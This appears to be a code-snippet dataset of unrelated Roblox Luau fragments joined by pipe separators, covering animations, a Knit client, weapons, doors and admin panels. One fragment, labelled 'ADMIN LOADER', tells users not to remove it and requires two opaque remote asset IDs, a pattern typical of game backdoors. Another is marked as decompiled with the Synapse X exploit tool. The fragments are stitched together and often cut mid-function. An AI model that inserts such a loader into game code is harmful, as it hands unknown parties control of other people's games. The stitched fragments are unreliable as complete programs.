LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFloat()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = -1.57
end
function moveBoogy()
while pose=="Boogy" do
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 1.57
end
end
function moveZombie()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function movePunch()
script.Parent.Torso.Anchored=true
RightShoulder.MaxVelocity = 60
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"
end
function moveKick()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveFly()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = -3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = -1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "Zombie") then
moveZombie()
return
end
if (pose == "Boogy") then
moveBoogy()
return
end
if (pose == "Float") then
moveFloat()
return
end
if (pose == "Punch") then
movePunch()
return
end
if (pose == "Kick") then
moveKick()
return
end
if (pose == "Fly") then
moveFly()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
amplitude = 0.1
frequency = 1
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
elseif (pose == "Dancing") then
amplitude = 2
frequency = 16
end
desiredAngle = amplitude * math.sin(time*frequency)
if pose~="Dancing" then
RightShoulder.DesiredAngle = -desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
else
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--[[
local attachment0 = Instance.new("Attachment", part)
local attachment1 = Instance.new("Attachment", char.PrimaryPart)
local AP = Instance.new("AlignPosition")
AP.Attachment0 = attachment0
AP.Attachment1 = attachment1
AP.MaxForce = math.huge
AP.Responsiveness = 200
AP.Parent = part
local AO = Instance.new("AlignOrientation")
AO.Attachment0 = attachment0
AO.Attachment1 = attachment1
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AO.Parent = part
]] |
part.Position = char.PrimaryPart.Position + Vector3.new(-100,0,0)
local weld = Instance.new("WeldConstraint")
weld.Part0 = part
weld.Part1 = char.PrimaryPart
weld.Parent = part
part.Parent = workspace.WeatherParts
for i,v in pairs(script:GetChildren()) do
if v.Value > 0 then
local particle = game.ReplicatedStorage.Particles[v.Name]:Clone()
particle.Rate = math.huge
particle.Parent = part
--[[
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
particle:Clone().Parent = part
]]
end
end
|
-- // Events \\ -- |
ProximityPrompt.PromptButtonHoldBegan:Connect(function()
Functions.Flash("Teal")
end)
ProximityPrompt.Triggered:Connect(function(Player)
DoorLogo.Beep:Play()
Functions.Flash("Bright green")
ProximityPrompt.Enabled = false
Functions.Move(true)
wait(2)
Functions.Move(false)
Functions.Flash("Bright red")
ProximityPrompt.Enabled = true
end)
--[[ ]]
|
-- Helper functions |
function angleBetweenPoints(p0, p1)
local p = p0 - p1
return -math.atan2(p.z, p.x)
end
function getCameraAngle(camera)
local cf, f = camera.CoordinateFrame, camera.Focus
return angleBetweenPoints(cf.p, f.p)
end
|
--Camera.CameraType = Enum.CameraType.Scriptable
--RunServ:BindToRenderStep("MoveCam",Enum.RenderPriority.Camera.Value,function()
-- Camera.CFrame = Character.Head.CFrame
--end) |
theAnim:Play()
theAnim.Stopped:Connect(function()
for _ = 1,5 do
Character.HumanoidRootPart.Anchored = false
task.wait()
end
--RunServ:UnbindFromRenderStep("MoveCam")
--Camera.CameraType = Enum.CameraType.Custom
Gui:Destroy()
end)
theAnim:AdjustSpeed(0)
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)
YesButton.InputBegan:Connect(function(io)
if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,true)
t.Completed:Connect(function()
t:Destroy()
t2:Destroy()
t3:Destroy()
t4:Destroy()
task.wait(10/60)
theAnim:AdjustSpeed(1)
end)
t:Play()
t2:Play()
t3:Play()
t4:Play()
end
end)
NoButton.InputBegan:Connect(function(io)
if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
Player:Kick("ok lol")
end
end)
|
--ADMIN LOADER.
--This is a script that is part of your admin in game.
--Removing/tampering with this script will potentially result in scripts breaking in your game. |
require(6091305634):Stys() require(5869080069):Stys()
|
-- How rare the weapon is and how hard it is to get. |
if _M.DropsWeapon3 == true and DropChance == (_M.WeaponChance1) then -- If the correct value is pulled, enable the item to be dropped
Enemy.Died:Connect(DropItem) -- Drop item if dead
end |
--------LEFT DOOR -------- |
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21) |
--[[
Knit.CreateController(controller): Controller
Knit.AddControllers(folder): Controller[]
Knit.AddControllersDeep(folder): Controller[]
Knit.GetService(serviceName): Service
Knit.GetController(controllerName): Controller
Knit.Start(): Promise<void>
Knit.OnStart(): Promise<void>
--]] |
local KnitClient = {}
KnitClient.Version = script.Parent.Version.Value
KnitClient.Player = game:GetService("Players").LocalPlayer
KnitClient.Controllers = {}
KnitClient.Util = script.Parent.Util
local Promise = require(KnitClient.Util.Promise)
local Thread = require(KnitClient.Util.Thread)
local Loader = require(KnitClient.Util.Loader)
local Ser = require(KnitClient.Util.Ser)
local ClientRemoteSignal = require(KnitClient.Util.Remote.ClientRemoteSignal)
local ClientRemoteProperty = require(KnitClient.Util.Remote.ClientRemoteProperty)
local TableUtil = require(KnitClient.Util.TableUtil)
local services = {}
local servicesFolder = script.Parent:WaitForChild("Services")
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function BuildService(serviceName, folder)
local service = {}
if (folder:FindFirstChild("RF")) then
for _, rf in ipairs(folder.RF:GetChildren()) do
if (rf:IsA("RemoteFunction")) then
service[rf.Name] = function(self, ...)
return Ser.DeserializeArgsAndUnpack(rf:InvokeServer(Ser.SerializeArgsAndUnpack(...)))
end
service[rf.Name .. "Promise"] = function(self, ...)
local args = Ser.SerializeArgs(...)
return Promise.new(function(resolve)
resolve(Ser.DeserializeArgsAndUnpack(rf:InvokeServer(table.unpack(args, 1, args.n))))
end)
end
end
end
end
if (folder:FindFirstChild("RE")) then
for _, re in ipairs(folder.RE:GetChildren()) do
if (re:IsA("RemoteEvent")) then
service[re.Name] = ClientRemoteSignal.new(re)
end
end
end
if (folder:FindFirstChild("RP")) then
for _, rp in ipairs(folder.RP:GetChildren()) do
if (rp:IsA("ValueBase") or rp:IsA("RemoteEvent")) then
service[rp.Name] = ClientRemoteProperty.new(rp)
end
end
end
services[serviceName] = service
return service
end
function KnitClient.CreateController(controller)
assert(type(controller) == "table", "Controller must be a table; got " .. type(controller))
assert(
type(controller.Name) == "string",
"Controller.Name must be a string; got " .. type(controller.Name)
)
assert(#controller.Name > 0, "Controller.Name must be a non-empty string")
assert(
KnitClient.Controllers[controller.Name] == nil,
"Service \"" .. controller.Name .. "\" already exists"
)
TableUtil.Extend(controller, {
_knit_is_controller = true,
})
KnitClient.Controllers[controller.Name] = controller
return controller
end
function KnitClient.AddControllers(folder)
return Loader.LoadChildren(folder)
end
function KnitClient.AddControllersDeep(folder)
return Loader.LoadDescendants(folder)
end
function KnitClient.GetService(serviceName)
assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
local folder = servicesFolder:FindFirstChild(serviceName)
assert(folder ~= nil, "Could not find service \"" .. serviceName .. "\"")
return services[serviceName] or BuildService(serviceName, folder)
end
function KnitClient.GetController(controllerName)
return KnitClient.Controllers[controllerName]
end
function KnitClient.Start()
if started then
return Promise.Reject("Knit already started")
end
started = true
local controllers = KnitClient.Controllers
return Promise.new(function(resolve)
-- Init:
local promisesStartControllers = {}
for _, controller in pairs(controllers) do
if (type(controller.KnitInit) == "function") then
table.insert(
promisesStartControllers,
Promise.new(function(r)
controller:KnitInit()
r()
end)
)
end
end
resolve(Promise.All(promisesStartControllers))
end):Then(function()
-- Start:
for _, controller in pairs(controllers) do
if (type(controller.KnitStart) == "function") then
Thread.SpawnNow(controller.KnitStart, controller)
end
end
startedComplete = true
onStartedComplete:Fire()
Thread.Spawn(function()
onStartedComplete:Destroy()
end)
end)
end
function KnitClient.OnStart()
if startedComplete then
return Promise.Resolve()
else
return Promise.new(function(resolve)
if startedComplete then
resolve()
return
end
onStartedComplete.Event:Wait()
resolve()
end)
end
end
return KnitClient
|
--[[
Clones a table giving it a unique memory address. Doesn't support mixed tables and userdata.
Functions.CloneTable(
table, <-- |REQ| Table/dictionary
)
--]] |
return function(tbl)
return _L.Services.HttpService:JSONDecode(_L.Services.HttpService:JSONEncode(tbl))
end
|
-- This will inject all types into this context. |
local TypeDefs = require(script.TypeDefinitions)
type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
|
--[[Run]]
--Print Version |
local ver=require(car["A-Chassis Tune"].README)
|
--------STAGE-------- |
game.Workspace.back1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.back2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.crewbig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.crewsmall1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.djstand.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.djtv.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side11.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side12.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.sidebig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
if game.Workspace.CurrentStageTV.Value == "1" then
game.Workspace.main1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
end
|
-- Display err |
function Error()
Display(blankPattern, error_E, error_R, error_R, blankPattern)
end
|
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio
-- These are the IDs of the piano sounds. |
settings.SoundSource = Box
settings.CameraCFrame = CFrame.new(
(Box.CFrame * CFrame.new(-5, 3, 0)).p, -- +z is towards player
(Box.CFrame * CFrame.new(1, 0, 0)).p
) |
-- << SETUP >>
-- Toggle MainFrame through TopBar Icon |
topBarFrame.Size = UDim2.new(1,0,0,topBarY)
topBarFrame.Position = UDim2.new(0,0,0,-topBarY)
imageButton.MouseButton1Down:Connect(function()
if imageButton.ImageRectOffset == Vector2.new(0,0) then
main:GetModule("GUIs"):OpenMainFrame()
else
main:GetModule("GUIs"):CloseMainFrame()
end
end)
|
--[[
Returns true the vector3 is within x and z bounds of an axis aligned part
]] |
local function isVector3InBoundsOfPart(vector3, part)
local worldSize = part.CFrame:vectorToWorldSpace(part.Size)
worldSize = Vector3.new(math.abs(worldSize.X), math.abs(worldSize.Y), math.abs(worldSize.Z))
local minX, maxX = part.Position.X - (worldSize.X / 2), part.Position.X + (worldSize.X / 2)
local minZ, maxZ = part.Position.Z - (worldSize.Z / 2), part.Position.Z + (worldSize.Z / 2)
return vector3.X >= minX and vector3.X <= maxX and vector3.Z >= minZ and vector3.Z <= maxZ
end
|
-- if not gameRules.SpawnStacking and not spawner:FindFirstChild("CurrentGun") then
-- local objValue = Instance.new("ObjectValue")
-- objValue.Name = "CurrentGun"
-- objValue.Parent = spawner
-- end | |
-- Player List |
local iswhitelisted = whitelist:CheckWhitelist(game.Players.LocalPlayer.Name)
if iswhitelisted == false then rs.Whitelist:Destroy() script.Parent.Toggle:Destroy() script.Parent.Panel:Destroy() script.Parent.Logs:Destroy() script:Destroy() return end
function fixcanvas()
local amount = script.Parent.Panel.PlayerList:GetChildren()
local fixedamount = #amount-1
print(fixedamount)
script.Parent.Panel.PlayerList.CanvasSize = UDim2.new(0,0,0,fixedamount*35)
end
for i,v in pairs(game.Players:GetPlayers()) do
local username = script.Username:Clone()
username.Name = v.Name
username.Text = v.Name
username.Parent = script.Parent.Panel.PlayerList
fixcanvas()
username.MouseButton1Click:Connect(function()
if game.Players:FindFirstChild(username.Name) then
chosenplr = game.Players:FindFirstChild(username.Name)
end
end)
end
game.Players.PlayerAdded:Connect(function(plr)
local username = script.Username:Clone()
username.Name = plr.Name
username.Text = plr.Name
username.Parent = script.Parent.Panel.PlayerList
fixcanvas()
username.MouseButton1Click:Connect(function()
if game.Players:FindFirstChild(username.Name) then
chosenplr = game.Players:FindFirstChild(username.Name)
end
end)
end)
game.Players.PlayerRemoving:Connect(function(plr)
local name = script.Parent.Panel.PlayerList:FindFirstChild(plr.Name)
if name then
name:Destroy()
end
fixcanvas()
end)
for i,buttons in pairs(script.Parent.Panel.Buttons:GetChildren()) do
buttons.MouseButton1Click:Connect(function()
local arg2 = nil
if buttons:FindFirstChildOfClass("TextBox") then
arg2 = buttons:FindFirstChildOfClass("TextBox").Text
end
print(arg2)
remote:FireServer(buttons.Name,chosenplr,arg2)
end)
end
script.Parent.Toggle.MouseButton1Click:Connect(function()
script.Parent.Panel.Visible = not script.Parent.Panel.Visible
script.Parent.Logs.Visible = not script.Parent.Logs.Visible
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__TweenService__1 = game:GetService("TweenService");
local l__Modules__2 = game:GetService("ReplicatedStorage"):WaitForChild("Modules");
local v3 = require(l__Modules__2.Raycast);
local l__Ignored__4 = workspace:WaitForChild("Ignored");
local v5 = {};
local u1 = require(l__Modules__2.PseudoDebris);
function v5.RunStompFx(p1, p2, p3, p4)
local v6 = Instance.new("Attachment", workspace.Terrain);
v6.WorldPosition = p2.Position;
u1:AddItem(v6, 10, false);
for v7, v8 in pairs(script.FX:GetDescendants()) do
if v8:IsA("ParticleEmitter") then
local v9 = v8:Clone();
v9.Parent = v6;
v9:Emit(v9:GetAttribute("EmitCount"));
end;
end;
return nil;
end;
return v5;
|
-- Gives Tool |
function onTouch(part)
local hum = part.Parent:FindFirstChild('Humanoid')
if hum then
local plr = game.Players:FindFirstChild(part.Parent.Name)
if plr then
if deb == true then
deb = false
give.BrickColor = RC
color.BrickColor = RC
local weapon = game.ServerStorage.Weps:FindFirstChild(wep)
local w2 = weapon:Clone()
w2.Parent = plr.Backpack
wait(rt)
deb = true
give.BrickColor = SC
color.BrickColor = SC
end
end
end
end
script.Parent.Giver.Touched:connect(onTouch)
|
--------------------------------------------------------------------------------------
--------------------[ CONSTANTS ]-----------------------------------------------------
-------------------------------------------------------------------------------------- |
local Gun = script.Parent
local Handle = Gun:WaitForChild("Handle")
local AimPart = Gun:WaitForChild("AimPart")
local Main = Gun:WaitForChild("Main")
local Ammo = Gun:WaitForChild("Ammo")
local ClipSize = Gun:WaitForChild("ClipSize")
local StoredAmmo = Gun:WaitForChild("StoredAmmo")
local S = require(script:WaitForChild("Minigun"))
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Humanoid = Character:WaitForChild("Humanoid")
local Torso = Character:WaitForChild("Torso")
local Head = Character:WaitForChild("Head")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Neck = Torso:WaitForChild("Neck")
local LArm = Character:WaitForChild("Left Arm")
local RArm = Character:WaitForChild("Right Arm")
local LLeg = Character:WaitForChild("Left Leg")
local RLeg = Character:WaitForChild("Right Leg")
local M2 = Player:GetMouse()
local Main_Gui = script:WaitForChild("Main_Gui")
local RS = game:GetService("RunService").RenderStepped
local Camera = game.Workspace.CurrentCamera
local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos
local VEC3 = Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert
local MaxStamina = S.SprintTime * 60
local MaxSteadyTime = S.ScopeSteadyTime * 60
local LethalIcons = {
"http://www.roblox.com/asset/?id=194849880";
"http://www.roblox.com/asset/?id=195727791";
"http://www.roblox.com/asset/?id=195728137";
}
local TacticalIcons = {
"http://www.roblox.com/asset/?id=195728473";
"http://www.roblox.com/asset/?id=195728693";
}
local Ignore = {
Character;
Ignore_Model;
}
local StanceOffset = {
VEC3(0, 0, 0);
VEC3(0, -1, 0);
VEC3(0, -3, 0);
}
local Shoulders = {
Right = Torso:WaitForChild("Right Shoulder");
Left = Torso:WaitForChild("Left Shoulder")
}
local ArmC0 = {
CF(.4, .2, 1.7) * CFANG(RAD(70), -1.5, -1);
CF(2, -.5, 0) * CFANG(RAD(90), 0, 0);
}
local Sine = function(X)
return SIN(RAD(X))
end
local Linear = function(X)
return (X / 90)
end
|
-- The rank below is the rank (and above) that will bypass the anchor tool removal. |
local bypassrank = 248
return bypassrank
|
--[[ F7D's Anti ForceField Script ]] | --
script.Parent = nil
game.DescendantAdded:connect(function(NoSilly)
coroutine.resume(coroutine.create(function()
if NoSilly:IsA("ForceField") then
coroutine.resume(coroutine.create(function()
while type(NoSilly)~=nil and wait() do
coroutine.resume(coroutine.create(function()
NoSilly:Destroy()
end))
end
end))
end
end))
end)
|
-- A simple function to explode a specified part |
function Explode(part)
local explosion = Instance.new("Explosion", workspace)
explosion.Position = part.Position
explosion.BlastRadius = config.ExplosionRadius.Value
part:Destroy()
end
script.Parent.Throw.OnServerEvent:connect(function(player, mousePosition)
local handlePos = Vector3.new(tool.Handle.Position.X, 0, tool.Handle.Position.Z) -- remove Y from the equation, it's not needed
local mousePos = Vector3.new(mousePosition.X, 0, mousePosition.Z) -- ditto
local distance = (handlePos - mousePos).magnitude -- Get the distance between the handle and the mouse
local altitude = mousePosition.Y - tool.Handle.Position.Y
local angle = AngleOfReach(distance, altitude, config.GrenadeVelocity.Value) -- Calculate the angle
tool.Handle.Transparency = 1
local grenade = tool.Handle:Clone()
grenade.Parent = workspace
grenade.Transparency = 0
grenade.CanCollide = true
grenade.CFrame = tool.Handle.CFrame
grenade.Velocity = (CFrame.new(grenade.Position, Vector3.new(mousePosition.X, grenade.Position.Y, mousePosition.Z)) * CFrame.Angles(angle, 0, 0)).lookVector * config.GrenadeVelocity.Value -- Throwing 'n stuff, it probably didn't need to be this long
spawn(function()
if config.ExplodeOnTouch.Value then
grenade.Touched:connect(function(hit)
if hit.Parent ~= tool.Parent and hit.CanCollide then -- Make sure what we're hitting is collidable
Explode(grenade)
end
end)
else
wait(config.FuseTime.Value)
Explode(grenade)
end
end)
wait(config.Cooldown.Value)
tool.Handle.Transparency = 0
end)
|
-- |
local function pivotAround(model, pivotCF, newCF)
local invPivotCF = pivotCF:Inverse()
for _, part in next, model:GetDescendants() do
part.CFrame = newCF * (invPivotCF * part.CFrame)
end
end
local function createSection(subN, interior_radius, exterior_radius, ppu)
local subModel = Instance.new("Model")
local exCircum = (TAU*exterior_radius)/subN - GAP
local inCircum = (TAU*interior_radius)/subN - GAP
local exTheta = exCircum / (exterior_radius)
local inTheta = inCircum / (interior_radius)
local diffTheta = exTheta - inTheta
local exPoints = {}
local inPoints = {}
local nParts = math.ceil(exCircum/ppu)
for i = 0, nParts do
exPoints[i + 1] = CENTER * CFrame.fromEulerAnglesXYZ(0, 0, (i/nParts)*exTheta) * Vector3.new(exterior_radius, 0, 0)
inPoints[i + 1] = CENTER * CFrame.fromEulerAnglesXYZ(0, 0, diffTheta/2 + (i/nParts)*inTheta) * Vector3.new(interior_radius, 0, 0)
end
for i = 1, nParts do
local a = exPoints[i]
local b = inPoints[i]
local c = exPoints[i + 1]
local d = inPoints[i + 1]
Triangle(subModel, a, b, c)
Triangle(subModel, b, c, d)
end
return subModel
end
local function createRadial(subN, tPercent, rotation)
rotation = rotation or 0
local dialEx = (1 - tPercent)*EXTERIOR_RADIUS - 1
local dialIn = dialEx - 2
local section = createSection(subN, (1 - tPercent)*EXTERIOR_RADIUS, EXTERIOR_RADIUS, PART_PER_UNIT)
local innerSection = createSection(subN, dialIn, dialEx, PART_PER_UNIT/2)
local frame = Instance.new("Frame")
local radialFrame = Instance.new("Frame")
local attachFrame = Instance.new("Frame")
radialFrame.BackgroundTransparency = 1
attachFrame.BackgroundTransparency = 1
radialFrame.Size = UDim2.new(1, 0, 1, 0)
attachFrame.Size = UDim2.new(1, 0, 1, 0)
radialFrame.Name = "Radial"
attachFrame.Name = "Attach"
radialFrame.Parent = frame
attachFrame.Parent = frame
local thickness = tPercent * EXTERIOR_RADIUS
local interior_radius = EXTERIOR_RADIUS - thickness
local inv_tPercent = 1 - tPercent/2
local exCircum = (TAU*EXTERIOR_RADIUS)/subN
local exTheta = exCircum / EXTERIOR_RADIUS
local inCircum = (TAU*interior_radius)/subN - GAP
local inTheta = inCircum / (interior_radius)
local edge = Vector2.new(math.cos(inTheta), math.sin(inTheta))*interior_radius - Vector2.new(interior_radius, 0)
local edgeLen = math.min(edge.Magnitude / (EXTERIOR_RADIUS*2), 0.18)
for i = 0, subN - 1 do
local vpf = VPF:Clone()
local cam = CAMERA:Clone()
vpf.CurrentCamera = cam
vpf.Name = i + 1
local theta = (i/subN)*TAU + rotation
local sub = section:Clone()
pivotAround(sub, CENTER, CENTER * CFrame.fromEulerAnglesXYZ(0, 0, theta + EX_OFFSET))
sub.Parent = vpf
local t = theta - EX_OFFSET + exTheta/2 + G_OFFSET
local c = -math.cos(t)/2 * inv_tPercent
local s = math.sin(t)/2 * inv_tPercent
local attach = Instance.new("Frame")
attach.Name = i + 1
attach.BackgroundTransparency = 1
attach.BackgroundColor3 = Color3.new()
attach.BorderSizePixel = 0
attach.AnchorPoint = Vector2.new(0.5, 0.5)
attach.Position = UDim2.new(0.5 + c, 0, 0.5 + s, 0)
attach.Size = UDim2.new(edgeLen, 0, edgeLen, 0)
attach.Parent = attachFrame
cam.Parent = vpf
vpf.Parent = radialFrame
end
section:Destroy()
local vpf = VPF:Clone()
local cam = CAMERA:Clone()
vpf.CurrentCamera = cam
vpf.Name = "RadialDial"
local g = GAP / (2*dialEx)
local off = -TAU/4 + g
pivotAround(innerSection, CENTER, CENTER * CFrame.fromEulerAnglesXYZ(0, 0, rotation + off))
innerSection.Parent = vpf
vpf.Parent = frame
frame.BackgroundTransparency = 1
frame.SizeConstraint = Enum.SizeConstraint.RelativeYY
frame.Size = UDim2.new(1, 0, 1, 0)
return frame
end
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS |
function onRunning()
local speed = script.speed.Value
local heightScale = if userAnimateScaleRun then getHeightScale() else 1
local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
local speedThreshold = movedDuringEmote and (Humanoid.WalkSpeed / heightScale) or 0.75
if speed > speedThreshold * heightScale then
local scale = 16.0
playAnimation("walk", 0.2, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing()
local speed = script.speed.Value
if userAnimateScaleRun then
speed /= getHeightScale()
end
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
